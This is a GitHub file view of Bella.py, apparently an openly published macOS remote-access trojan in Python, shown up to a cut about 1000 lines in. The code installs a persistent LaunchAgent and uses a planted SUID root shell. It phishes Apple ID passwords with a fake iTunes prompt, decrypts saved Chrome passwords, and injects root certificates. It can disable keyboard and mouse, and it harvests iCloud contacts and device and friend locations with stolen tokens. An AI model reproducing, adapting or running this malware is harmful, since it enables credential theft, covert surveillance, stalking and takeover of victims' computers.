-
Notifications
You must be signed in to change notification settings - Fork 48
/
Bella.py
executable file
·2136 lines (1950 loc) · 92.3 KB
/
Bella.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, socket, subprocess, time, os, platform, struct, getpass, datetime, plistlib, re, stat, grp, shutil
import string, json, traceback, pwd, urllib, urllib2, base64, binascii, hashlib, sqlite3, bz2, pickle, ast
import StringIO, zipfile, hmac, tempfile, ssl
from xml.etree import ElementTree as ET
from subprocess import Popen, PIPE
from glob import glob
development = True
def create_bella_helpers(launch_agent_name, bella_folder, home_path):
launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>%s</string>
<key>ProgramArguments</key>
<array>
<string>%s/Library/%s/Bella</string>
</array>
<key>StartInterval</key>
<integer>5</integer>
</dict>
</plist>\n""" % (launch_agent_name, home_path, bella_folder)
if not os.path.isdir('%s/Library/LaunchAgents/' % home_path):
os.makedirs('%s/Library/LaunchAgents/' % home_path)
with open('%s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), 'wb') as content:
content.write(launch_agent_create)
print 'Created Launch Agent'
print 'Moving Bella'
if not os.path.isdir('%s/Library/%s/' % (home_path, bella_folder)):
os.makedirs('%s/Library/%s/' % (home_path, bella_folder))
if development:
with open(__file__, 'rb') as content:
with open('%s/Library/%s/Bella' % (home_path, bella_folder), 'wb') as binary:
binary.write(content.read())
else:
os.rename(__file__, '%s/Library/%s/Bella' % (home_path, bella_folder))
os.chmod('%s/Library/%s/Bella' % (home_path, bella_folder), 0777)
print 'Loading Launch Agent'
out = subprocess.Popen('launchctl load -w %s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), shell=True, stderr=subprocess.PIPE).stderr.read()
if out == '':
time.sleep(1)
ctl_list = subprocess.Popen('launchctl list'.split(), stdout=subprocess.PIPE)
ctl = ctl_list.stdout.read()
completed = False
for agent in ctl.splitlines():
if launch_agent_name in agent:
completed = True
if completed:
print 'Loaded LaunchAgent'
print 'BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER.'
exit()
else:
pass
print 'Error loading LaunchAgent.'
elif 'service already loaded' in out:
print 'Bella is already loaded in LaunchCTL.'
exit()
else:
print out
pass
return
def globber(path): #if we are root, this globber will give us all paths
if os.getuid() != 0:
if is_there_SUID_shell():
(status, msg) = do_root(r"python -c \"from glob import glob; print glob('%s')\"" % path) #special escapes
if status:
return ast.literal_eval(msg) #convert string list to list
return glob(path)
def protected_file_lister(path):
if os.getuid() != 0:
if is_there_SUID_shell():
(status, msg) = do_root(r"python -c \"import os; print os.listdir('%s')\"" % path) #special escapes
if status:
return ast.literal_eval(msg)
return os.listdir(path)
def protected_file_reader(path): #for reading files when we have a backdoor root shell
if os.getuid() != 0:
if is_there_SUID_shell():
(status, msg) = do_root(r"python -c \"g = open('%s'); print g.read(); g.close()\"" % path) #special escapes
if status:
return msg[:-2] #this will be a raw representation of the file. knock off last 2 carriage returns
if os.access(path, os.R_OK):
with open(path, 'r') as content:
return content.read()
return '[%s] is not accessible' % path
def subprocess_manager(pid, path, name): #will keep track of a PID and its path in the global payload_list
global payload_list
payload_list.append((pid, path, name)) #path is the binary that we will shutil.rmtree for, and PID we will kill
return True
def subprocess_cleanup(): #will clean up all of those in the global payload_list
global payload_list
for x in payload_list:
p = kill_pid(x[0])
#print 'Killed pid [%s]: %s' % (x[0], repr(p))
payload_cleaner()
#print 'removed payload [%s]: %s' % (x[1], repr(p))
if p:
print 'Killed and cleaned [%s]' % x[2]
payload_list.remove(x)
def readDB(column, payload=False):
#we need the path specified below, because we cant read the helper location from DB without knowing what to read
conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
c = conn.cursor()
if payload:
c.execute("SELECT %s FROM payloads WHERE id = 1" % column)
else:
c.execute("SELECT %s FROM bella WHERE id = %s" % (column, bella_UID))
try:
value = c.fetchone()[0]
if value == None:
return False
except TypeError as e:
return False
return base64.b64decode(value) #DECODES the data that updatedb ENCODES!
def updateDB(data, column):
data = base64.b64encode(data) #readDB will return this data DECODED
if not os.path.isfile("%sbella.db" % get_bella_path()):
creator = createDB()
if not creator[0]:
return (False, "Error creating database! [%s]" % creator[1])
conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
c = conn.cursor()
c.execute("SELECT * FROM bella WHERE id = %s" % bella_UID)
if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
c.execute("INSERT INTO bella (id, username) VALUES (%s, '%s')" % (bella_UID, get_bella_user()))
c.execute("UPDATE bella set %s = '%s' WHERE id = %s" % (column, data, bella_UID))
conn.commit()
conn.close()
return (True, '')
def check_if_payloads():
conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
c = conn.cursor()
c.execute("SELECT * FROM payloads WHERE id = 1")
if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
return False
return True
def inject_payloads(payload_encoded):
conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
c = conn.cursor()
try:
(vncFile, kcFile, mcFile, rsFile, insomniaFile, lockFile, chainbreakerFile) = payload_encoded.splitlines()
c.execute("INSERT INTO payloads (id, vnc, keychaindump, microphone, root_shell, insomnia, lock_icon, chainbreaker) VALUES (1, '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (vncFile.encode('base64'), kcFile.encode('base64'), mcFile.encode('base64'), rsFile.encode('base64'), insomniaFile.encode('base64'), lockFile.encode('base64'), chainbreakerFile.encode('base64')))
conn.commit()
conn.close()
return True
except Exception as e:
print e
conn.close()
return False
def createDB():
try:
conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
c = conn.cursor()
c.execute("CREATE TABLE bella (id int, username text, lastLogin text, model text, mme_token text, applePass text, localPass text, chromeSS text, text)")
c.execute("CREATE TABLE payloads(id int, vnc text, keychaindump text, microphone text, root_shell text, insomnia text, lock_icon text, chainbreaker text)")
conn.commit()
conn.close()
print "Created Bella DB"
except sqlite3.OperationalError as e:
if e[0] == "table bella already exists":
return (True, e)
else:
return (False, e) #some error
return (True, None)
def encrypt(data):
#This function will encode any given data into base64. It will then pass this encoded data as
#a command line argument, into the openssl binary, where it will be encrypted with aes-128-cbc
#using the master key specified at the top of the program. We encode the data so there are no unicode issues
#the openssl binary will then return ANOTHER DIFFERENT base64 string, that is the ENCODED ENCRYPTED data
#this ENCODED ENCRYPTED DATA [of ENCODED RAW DATA] can be decrypted by the decrypt function, which expects a
#base64 input and outputs the original raw data in an encoded format. this encoded format is then decoded and returned to
#the subroutine that called the function.
data = base64.b64encode(data)
encrypted = subprocess.check_output("openssl enc -base64 -e -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
return encrypted
def decrypt(data):
#data = base64.b64decode(data)
decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
return base64.b64decode(decrypted)
def main_iCloud_helper():
error, errorMessage = False, False
dsid, token = "", ""
(username, password, usingToken) = iCloud_auth_process(False)
error = False
if password == False:
errorMessage = "%s%s" % (red_minus, username) #username will have the error message
error = True
else:
content = dsid_factory(username, password)
if content[0] == False:
errorMessage =content[1]
error = True
else:
try:
(dsid, token, usingToken) = content
except ValueError, e:
errorMessage = '\n'.join(content)
error = True
return (error, errorMessage, dsid, token)
def byte_convert(byte):
for count in ['B','K','M','G']:
if byte < 1024.0:
return ("%3.1f%s" % (byte, count)).replace('.0', '')
byte /= 1024.0
return "%3.1f%s" % (byte, 'TB')
def cur_GUI_user():
try:
return subprocess.check_output("stat -f '%Su' /dev/console", shell=True).replace("\n", "")
except:
return "No Current GUI"
def check_output(cmd):
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stderr = process.stderr.read()
stdout = process.stdout.read()
if process.wait() != 0:
print stderr
return (False, stderr, process.wait()) #failed, stderr, exit code
return (True, stdout, process.wait()) #completed successfully, stdout, exit code
def appleIDPhishHelp():
returnString = ""
for x in get_iTunes_accounts():
if x[0]:
returnString += "Local user: [%s] Apple ID: [%s]\n" % (x[2], x[1])
else:
pass
return pickle.dumps((returnString, cur_GUI_user()))
def appleIDPhish(username, GUIUser):
global bellaConnection
while True:
### CTRLC listener
bellaConnection.settimeout(0.0)
try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
if recv_msg(bellaConnection) == 'sigint9kill':
sys.stdout.flush()
send_msg('terminated', True) #send back confirmation along with STDERR
done = True
bellaConnection.settimeout(None)
return 1
except socket.error as e: #no message, business as usual
pass
bellaConnection.settimeout(None)
check = applepwRead()
if isinstance(check, str): #we have file...
send_msg("%sApple password already found [%s] %s\n" % (blue_star, check, blue_star), False)
break
osa = "launchctl asuser " + str(bella_UID) + " osascript -e 'tell application \"iTunes\"' -e \"pause\" -e \"end tell\"; osascript -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to display dialog \"Error connecting to iTunes. Please verify your password for " + username + " \" default answer \"\" with icon 1 with hidden answer with title \"iTunes Connection\"'"
#pauses music, then prompts user
out = check_output(osa)
if not out[0]:
#user has attempted to cancel
send_msg("[-] User has attempted to cancel. Trying again.\n", False)
continue
else:
out = out[1]
passw = out.split()[3]
passw = passw.split(':')[1]
send_msg("%sUser has attempted to use password: %s\n" % (blue_star, passw), False)
try:
request = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
base64string = base64.encodestring('%s:%s' % (username, passw)).replace('\n', '')
request.add_header("Authorization", "Basic %s" % base64string)
result = urllib2.urlopen(request)
out2 = result.read()
except Exception, e:
if str(e) == "HTTP Error 401: Unauthorized":
out2 = "fail?"
elif str(e) == "HTTP Error 409: Conflict":
out2 = "2sV"
else:
out2 = "otherError!"
if out2 == "fail?":
send_msg(red_minus + "Bad combo: [%s:%s]\n" % (username, passw), False)
continue
elif out2 == "2sV":
send_msg("%sVerified! [2FV Enabled] Account -> [%s:%s]%s\n" % (greenPlus, username, passw, endANSI), False)
updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
break
elif out2 == "otherError!":
send_msg("%sMysterious error with [%s:%s]\n" % (red_minus, username, passw), False)
break
else:
send_msg("%sVerified! Account -> %s[%s:%s]%s\n" % (greenPlus, bold, username, passw, endANSI), False)
updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
break
send_msg('', True)
return 1
def is_there_SUID_shell():
if os.getuid() == 0:
return True
if os.path.isfile('/usr/local/roots'):
return True
if local_pw_read():
#send_msg("%sLocal PW present.\n" % greenPlus, False)
binarymake = make_SUID_root_binary(local_pw_read(), None)
#send_msg(binarymake[1], False)
if binarymake[0]: #we have successfully created a temp root shell
return True
return False
return False
def remove_SUID_shell():
if os.path.isfile('/usr/local/roots'):
try:
os.system('/usr/local/roots rm /usr/local/roots > /dev/null')
#send_msg('%sRemoved temporary root shell.\n' % yellow_star, False) #%
except Exception as e:
pass
#send_msg('%sError removing temporary root shell @ /usr/local/roots. You should delete this manually.\n' % red_minus , False)
return
def do_root(command):
if os.getuid() == 0:
output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out = output.stdout.read()
err = output.stderr.read()
if output.wait() != 0:
return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
return (True, "%s\n" % out)
else:
if not is_there_SUID_shell():
return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus)
output = subprocess.Popen("/usr/local/roots \"%s\"" % (command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out = output.stdout.read()
err = output.stderr.read()
if err != '':
return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
return (True, "%s\n" % out)
def cert_inject(cert):
cPath = tempfile.mkdtemp()
with open('%scert.crt' % cPath, 'w') as content:
content.write(cert)
temp_file_list.append(cPath)
(success, msg) = do_root("security add-trusted-cert -d -r trustRoot -k /System/Library/Keychains/SystemRootCertificates.keychain %scert.crt" % cPath)
if not success:
return "%sError injecting root CA into System Keychain:\n%s" % (red_minus, msg)
payload_cleaner()
return "%sCertificate Authority injected into System Keychain!\n" % yellow_star
def cert_remove(shahash):
(success, msg) = do_root("security delete-certificate -Z %s /System/Library/Keychains/SystemRootCertificates.keychain" % shahash)
if not success:
return "%sError removing root CA from System Keychain:\n%s" % (red_minus, msg)
return "%sCertificate Authority removed from System Keychain!\n" % yellow_star
def check_current_users():
output = check_output("w -h | sort -u -t' ' -k1,1 | awk {'print $1'}")
if not output[0]:
return "Error finding current users.\n"
return output[1]
def check_pid(pid):
try:
os.kill(pid, 0)
except OSError:
return False
else:
return True
def chrome_decrypt(encrypted_value, iv, key): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)
hexKey = binascii.hexlify(key)
hexEncPassword = base64.b64encode(encrypted_value[3:])
decrypted = check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword))
if not decrypted[0]:
decrypted = "ERROR retrieving password.\n"
return decrypted[1] #otherwise we got it
def chrome_dump(safe_storage_key, loginData):
returnable = "%s%sPasswords for [%s]%s:\n" % (yellow_star, bold + underline, loginData.split("/")[-2], endANSI)
empty = True
for i, x in enumerate(chrome_process(safe_storage_key, "%s" % loginData)):
returnable += "%s[%s]%s %s%s%s\n\t%sUser%s: %s\n\t%sPass%s: %s\n" % ("\033[32m", (i + 1), "\033[0m", "\033[1m", x[0], "\033[0m", "\033[32m", "\033[0m", x[1], "\033[32m", "\033[0m", x[2])
empty = False
if not empty:
return returnable
else:
return "%sFound no Chrome Passwords for [%s].\n" % (blue_star, loginData.split("/")[-2])
def chrome_process(safe_storage_key, loginData):
iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
key = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]
copypath = tempfile.mkdtemp() #work around for locking DB
dbcopy = protected_file_reader(loginData) #again, shouldnt matter because we only can decrypt DBs with keys
with open('%s/chrome' % copypath, 'wb') as content:
content.write(dbcopy) #if chrome is open, the DB will be locked, so get around by making a temp copy
database = sqlite3.connect('%s/chrome' % copypath)
sql = 'select username_value, password_value, origin_url from logins'
decryptedList = []
with database:
for user, encryptedPass, url in database.execute(sql):
if user == "" or (encryptedPass[:3] != b'v10'): #user will be empty if they have selected "never" store password
continue
else:
urlUserPassDecrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chrome_decrypt(encryptedPass, iv, key=key).encode('ascii', 'ignore'))
decryptedList.append(urlUserPassDecrypted)
shutil.rmtree(copypath)
return decryptedList
def chrome_safe_storage():
global bellaConnection
retString = ""
check = chromeSSRead()
if isinstance(check, str):
send_msg("%sPreviously generated Google Chrome Safe Storage key.\n%s%s\n" % (blue_star, blue_star, check), True)
return
while True:
### CTRLC listener
bellaConnection.settimeout(0.0)
try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
if recv_msg(bellaConnection) == 'sigint9kill':
sys.stdout.flush()
send_msg('terminated', True) #send back confirmation along with STDERR
done = True
bellaConnection.settimeout(None)
return 1
except socket.error as e: #no message, business as usual
pass
bellaConnection.settimeout(None)
kchain = getKeychains()
send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
encryptionKey = check_output("launchctl asuser %s security find-generic-password -wa 'Chrome' '%s'" % (bella_UID, kchain)) #get rid of \n
if not encryptionKey[0]:
if 51 == encryptionKey[2]:
send_msg("%sUser clicked deny.\n" % red_minus, False)
continue
elif 44 == encryptionKey[2]:
send_msg("%sNo Chrome Safe Storage Key Found!\n" % red_minus, True)
return
else:
send_msg("Strange error [%s]\n" % encryptionKey[1], True)
return
updateDB(encrypt(encryptionKey[1].replace('\n', '')), 'chromeSS') #got it
send_msg("%sChrome Key: [%s]\n" % (blue_star, encryptionKey[1].replace('\n', '')), True)
return
def disable_keyboard_mouse(device):
paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
(success, msg) = do_root("kextunload %s" % paths[device])
if not success:
return "%sError disabling %s.\n%s" % (red_minus, paths[device], msg)
return "%s%s successfully disabled!\n" % (greenPlus, device)
def dsid_factory(uname, passwd):
resp = None
req = urllib2.Request("https://setup.icloud.com/setup/authenticate/%s" % uname)
req.add_header('Authorization', 'Basic %s' % base64.b64encode("%s:%s" % (uname, passwd)))
req.add_header('Content-Type', 'application/json')
try:
resp = urllib2.urlopen(req)
except urllib2.HTTPError as e:
if e.code != 200:
if e.code == 401:
return (False, "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?\n", False)
elif e.code == 409:
tokenLocal = tokenRead()
if tokenLocal != False: #if we have token use it ... bc 2SV wont work with regular uname/passw
dsid = tokenLocal.split("\n")[1].split(":")[0]
tokz = tokenLocal.split("\n")[1].split(":")[1]
return (dsid, tokz, True)
else:
return (False, "HTTP Error 409: Conflict. 2 Factor Authentication appears to be enabled. You cannot use this function unless you get your MMeAuthToken manually (generated either on your PC/Mac or on your iOS device).\n", False)
elif e.code == 404:
return (False, "HTTP Error 404: URL not found. Did you enter a username?\n", False)
else:
return (False, "HTTP Error %s." % e.code, False)
else:
return e
content = resp.read()
uname = plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"] #stitch our own auth DSID
passwd = plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"] #stitch with token
return (uname, passwd, False) #third value is "usingToken?"
def enable_keyboard_mouse(device):
paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
(success, msg) = do_root("kextload %s" % paths[device])
if not success:
return "%sError enabling %s.\n%s" % (red_minus, paths[device], msg)
return "%s%s successfully enabled!\n" % (greenPlus, device)
def enumerate_chrome_profiles():
return globber("/Users/*/Library/Application Support/Google/Chrome/*/Login Data")
def FMIP(username, password):
i = 0
try: #if we are given a FMIP token, change auth Type
int(username)
authType = "Forever"
except ValueError: #else apple id use useridguest
authType = "UserIDGuest"
while True:
i +=1
url = 'https://fmipmobile.icloud.com/fmipservice/device/%s/initClient' % username
headers = {
'X-Apple-Realm-Support': '1.0',
'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (username, password)),
'X-Apple-Find-API-Ver': '3.0',
'X-Apple-AuthScheme': '%s' % authType,
'User-Agent': 'FindMyiPhone/500 CFNetwork/758.4.3 Darwin/15.5.0',
}
request = urllib2.Request(url, None, headers)
request.get_method = lambda: "POST"
try:
response = urllib2.urlopen(request)
z = json.loads(response.read())
except urllib2.HTTPError as e:
if e.code == 401:
return "Authorization Error 401. Try credentials again."
if e.code == 403:
pass #can ignore
raise e
if i == 2: #loop twice / send request twice
break
send_msg("Sent \033[92mlocation\033[0m beacon to \033[91m[%s]\033[0m devices\n" % len(z["content"]), False)
send_msg("Awaiting response from iCloud...\n", False)
#okay, FMD request has been sent, now lets wait a bit for iCloud to get results, and then do again, and then break
time.sleep(5)
send_msg("\033[94m(%s %s | %s)\033[0m -> \033[92mFound %s Devices\033[0m\n-------\n" % (z["userInfo"]["firstName"], z["userInfo"]["lastName"], username, len(z["content"])), False)
i = 1
for y in z["content"]:
try:
send_msg("Device [%s]\n" % i, False)
i += 1
send_msg("Model: %s\n" % y["deviceDisplayName"], False)
send_msg("Name: %s\n" % y["name"], False)
timeStamp = y["location"]["timeStamp"] / 1000
timeNow = time.time()
timeDelta = timeNow - timeStamp #time difference in seconds
minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
hours, minutes = divmod(minutes, 60)
timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
if hours > 0:
timeStamp = "%s (%sh %sm %ss ago)" % (timeStamp, str(hours).split(".")[0], str(minutes).split(".")[0], str(seconds).split(".")[0])
else:
timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0])
send_msg("Latitude, Longitude: <%s;%s>\n" % (y["location"]["latitude"], y["location"]["longitude"]), False)
send_msg("Battery: %s & %s\n" % (y["batteryLevel"], y["batteryStatus"]), False)
send_msg("\033[92mLocated at: %s\033[0m\n" % timeStamp, False)
send_msg("-------\n", False)
except TypeError,e :
send_msg("\033[92mCould not get GPS lock!\033[0m\n", False)
send_msg('', True)
return 0
def get_card_links(dsid, token):
url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
headers = {
'Depth': '1',
'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
'Content-Type': 'text/xml',
}
data = """<?xml version="1.0" encoding="UTF-8"?>
<A:propfind xmlns:A="DAV:">
<A:prop>
<A:getetag/>
</A:prop>
</A:propfind>
"""
request = urllib2.Request(url, data, headers)
request.get_method = lambda: 'PROPFIND' #replace the get_method fxn from its default to PROPFIND to allow for successfull cardDav pull
response = urllib2.urlopen(request)
zebra = ET.fromstring(response.read())
returnedData = """<?xml version="1.0" encoding="UTF-8"?>
<F:addressbook-multiget xmlns:F="urn:ietf:params:xml:ns:carddav">
<A:prop xmlns:A="DAV:">
<A:getetag/>
<F:address-data/>
</A:prop>\n"""
for response in zebra:
for link in response:
href = response.find('{DAV:}href').text #get each link in the tree
returnedData += "<A:href xmlns:A=\"DAV:\">%s</A:href>\n" % href
return "%s</F:addressbook-multiget>" % str(returnedData)
def get_card_data(dsid, token):
url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
headers = {
'Content-Type': 'text/xml',
'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
}
data = get_card_links(dsid, token)
request = urllib2.Request(url, data, headers)
request.get_method = lambda: 'REPORT' #replace the get_method fxn from its default to REPORT to allow for successfull cardDav pull
response = urllib2.urlopen(request)
zebra = ET.fromstring(response.read())
i = 0
contactList, phoneList, cards = [], [], []
for response in zebra:
tel, contact, email = [], [], []
name = ""
vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find('{urn:ietf:params:xml:ns:carddav}address-data').text
if vcard:
for y in vcard.splitlines():
if y.startswith("FN:"):
name = y[3:]
if y.startswith("TEL;"):
tel.append((y.split("type")[-1].split(":")[-1].replace("(", "").replace(")", "").replace(" ", "").replace("-", "").encode("ascii", "ignore")))
if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"):
email.append(y.split(":")[-1])
cards.append(([name], tel, email))
return sorted(cards)
def get_iTunes_accounts():
iClouds = globber("/Users/%s/Library/Accounts/Accounts3.sqlite" % get_bella_user()) #we are only interested in the current GUI user
returnList = []
for x in iClouds:
database = sqlite3.connect(x)
try:
accounts = list(database.execute("SELECT ZUSERNAME FROM ZACCOUNT WHERE ZACCOUNTDESCRIPTION='iCloud'"))
username = accounts[0][0] #gets just the first account, no multiuser support yet
returnList.append((True, username, x.split("/")[2]))
except Exception, e:
if str(e) == "list index out of range":
returnList.append((False, "No iCloud Accounts present\n", x.split("/")[2]))
else:
returnList.append((False, "%s\n" % str(e), x.split("/")[2]))
return returnList
def get_model():
model = readDB('model')
if not model:
return model
return model
def heard_it_from_a_friend_who(uDsid, mmeAuthToken, cardData):
mmeFMFAppToken = tokenFactory(base64.b64encode("%s:%s" % (uDsid, mmeAuthToken)))[0][2]
url = 'https://p04-fmfmobile.icloud.com/fmipservice/friends/%s/refreshClient' % uDsid
headers = {
'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (uDsid, mmeFMFAppToken)),#FMF APP TOKEN
'Content-Type': 'application/json; charset=utf-8',
}
data = {
"clientContext": {
"appVersion": "5.0" #critical for getting appropriate config / time apparently.
}
}
jsonData = json.dumps(data)
request = urllib2.Request(url, jsonData, headers)
i = 0
while 1:
try:
response = urllib2.urlopen(request)
break
except: #for some reason this exception needs to be caught a bunch of times before the request is made.
i +=1
continue
x = json.loads(response.read())
dsidList = []
phoneList = [] #need to find how to get corresponding name from CalDav
for y in x["following"]: #we need to get contact information.
for z, v in y.items():
#do some cleanup
if z == "invitationAcceptedHandles":
v = v[0] #v is a list of contact information, we will grab just the first identifier
phoneList.append(v)
if z == "id":
v = v.replace("~", "=")
v = base64.b64decode(v)
dsidList.append(v)
zippedList = zip(dsidList, phoneList)
retString = ""
i = 0
for y in x["locations"]:#[0]["location"]["address"]:
streetAddress, country, state, town, timeStamp = " " *5
dsid = y["id"].replace("~", "=")
dsid = base64.b64decode(dsid) #decode the base64 id, and find its corresponding one in the zippedList.
for g in zippedList:
if g[0] == dsid:
phoneNumber = g[1] #we should get this for every person. no errors if no phone number found.
for x in cardData:
for nums in x[1]:
if phoneNumber.replace("+1", "") in nums:
phoneNumber += " (%s)" % x[0][0]
for emails in x[2]:
if phoneNumber in emails:
phoneNumber += " (%s)" % x[0][0]
try:
timeStamp = y["location"]["timestamp"] / 1000
timeNow = time.time()
timeDelta = timeNow - timeStamp #time difference in seconds
minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
hours, minutes = divmod(minutes, 60)
